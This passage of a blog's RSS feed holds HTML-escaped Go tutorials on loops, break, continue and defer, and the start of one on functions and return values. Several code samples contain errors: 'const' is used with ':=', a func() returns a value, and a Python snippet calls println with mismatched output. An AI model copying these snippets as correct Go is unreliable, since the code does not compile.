&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;8  r &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;9  l&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;10 d*/&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;infinite-loop&#34;&gt;Infinite loop&lt;/h3&gt;&#xA;&lt;p&gt;A &lt;em&gt;for&lt;/em&gt; loop without condition will run forever.&lt;/p&gt;&#xA;&lt;p&gt;The only way to get out of an infinite for loop is with a &lt;em&gt;break&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;counterForever &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    counterForever&lt;span style=&#34;color:#ff6ac1&#34;&gt;++&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;break&#34;&gt;break&lt;/h2&gt;&#xA;&lt;p&gt;As I just mentioned, &lt;em&gt;break&lt;/em&gt; breaks a loop and continues code execution.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;counterForever &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    counterForever&lt;span style=&#34;color:#ff6ac1&#34;&gt;++&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(counterForever)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; counterForever &amp;gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;The loop breaks here&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;break&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// 1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// 2&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// 3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// 4&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// 5&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// 6&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// The loop breaks here&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;break-named-loops-in-go&#34;&gt;Break named loops in go&lt;/h3&gt;&#xA;&lt;p&gt;In other programming languages, such as Python, &lt;em&gt;break&lt;/em&gt; would break the immediate loop, i.e. the immediate loop it is in. Wouldn&amp;rsquo;t it be great to be able to stop the outer loop from the inner loop? In go it is possible in a simple way&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;while&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;while&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;break&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    println(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;main loop is executing&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# main loop is executing&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# main loop is executing&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# main loop is executing&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Go allows us to assign names to the loops, what for? To reference specific loops and be able to break them using break. Take a look at this example:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;loop:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Breaking external loop&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;break&lt;/span&gt; loop&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;This will never get printed&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We name our loop as loop and now we execute an infinite loop that will have an infinite loop inside it. This last loop will break the outer loop, named &lt;em&gt;loop&lt;/em&gt;, so the second statement will never be printed on the screen.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-to-use-continue-in-go&#34;&gt;How to use continue in Go&lt;/h2&gt;&#xA;&lt;p&gt;Continue stops the current iteration of the loop and continues its execution in the next iteration.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;counter &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; counter &amp;lt; &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    counter &lt;span style=&#34;color:#ff6ac1&#34;&gt;++&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; counter &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;We skip number 3&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;continue&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(counter)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//2&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//We skip number 3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//4&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;what-does-defer-do-in-go&#34;&gt;What does Defer do in Go?&lt;/h2&gt;&#xA;&lt;p&gt;Defer delays the execution of a line of code until the end of the code. It is quite similar to what the &lt;em&gt;defer&lt;/em&gt; attribute with HTML script tag does.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;defer&lt;/span&gt; fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;This will be executed at the end&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;This will be executed firstly&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;This will be executed secondly&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// This will be executed firstly&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// This will be executed secondly&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// his will be executed at the end&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;What&amp;rsquo;s the point? Well, it is ideal to close connections to databases, files or to make some type of cleaning to the objects of our code.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;const&lt;/span&gt; dbConnection &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;openDb&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;defer&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;closeDb&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;queryDb&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;anoterQuery&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For the next Go entry I&amp;rsquo;m going to talk about the basics of &lt;em&gt;slices&lt;/em&gt;, &lt;em&gt;arrays&lt;/em&gt; and &lt;em&gt;maps&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Remember that you can visit the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://go.dev/doc/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;official go documentation&lt;/a&gt;&#xA; if there is anything you want to learn more about.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;This entry will deal with loops in the go programming language.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/en/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go handles loops a little differently than what you are used to. If you&amp;rsquo;re already fluent in any other programming language, you probably remember &lt;em&gt;while&lt;/em&gt;, &lt;em&gt;do while&lt;/em&gt; and for loops. And if you come from Python or Javascript, you&amp;rsquo;ll remember how useful &lt;em&gt;for x in&lt;/em&gt; or &lt;em&gt;for x of&lt;/em&gt; loops are.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go: functions, arguments and the fmt package</title>
      <link>https://coffeebytes.dev/en/go/go-functions-arguments-and-the-fmt-package/</link>
      <pubDate>Tue, 30 Nov 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/go/go-functions-arguments-and-the-fmt-package/</guid>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;This entry will discuss the basic syntax of Go functions. If you know absolutely nothing about go visit my entry &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/&#34;&gt;go: introduction to programming language, variables and data types&lt;/a&gt;&#xA; to start from the beginning of this tutorial series.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/en/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, let&amp;rsquo;s move on to the functions.&lt;/p&gt;&#xA;&lt;h2 id=&#34;functions-in-go&#34;&gt;Functions in go&lt;/h2&gt;&#xA;&lt;p&gt;In go functions are declared by prefixing the word &lt;em&gt;func&lt;/em&gt; to the function name. As follows:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;deleteRoot&lt;/span&gt;() { }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Remember that being a compiled language, go requires you to specify the data type in the arguments.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;deleteRoot&lt;/span&gt;(argument &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;, secondArgument &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;) { }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If the two arguments are of the same type, we can save a word by omitting the first type, in this case &lt;em&gt;int&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;deleteRoot&lt;/span&gt;(argument, secondArgument &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;) {}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;return-in-go&#34;&gt;Return in go&lt;/h3&gt;&#xA;&lt;p&gt;As in almost all languages we use the word &lt;em&gt;return&lt;/em&gt; in a function to return a value.&lt;/p&gt;&#xA;&lt;p&gt;A function &lt;strong&gt;does not require you to return anything necessarily&lt;/strong&gt;, and you do not need to specify a return, as you would in C++ and other similar languages.&lt;/p&gt;&#xA;&lt;p&gt;On the other hand, &lt;strong&gt;if your function does have a return, you need to specify the type of data to return,&lt;/strong&gt; placing it after the arguments.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;ReturnOne&lt;/span&gt;(argument, secondArgument &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;) &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Likewise, we can return two values, as if it were a tuple.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;ReturnOneAndTwo&lt;/span&gt;(argument, secondArgument &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;) (&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;, &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And, just like in Python, it is possible to assign those two values to two different variables, separating them by a comma.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;a, b = &lt;span style=&#34;color:#57c7ff&#34;&gt;ReturnOneAndTwo&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;return-a-function-in-go&#34;&gt;Return a function in go&lt;/h3&gt;&#xA;&lt;p&gt;In go, functions &amp;ldquo;are first class citizens&amp;rdquo; so, in go, &lt;strong&gt;functions can return functions.&lt;/strong&gt; **functions are first class citizens so, in go, **functions can return functions.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;returnFunction&lt;/span&gt;(argument, secondArgument &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;) &lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And, as the function returns a function we can call the latter within any other block as follows:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// El equivalente a a llamar a la función retornada&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span 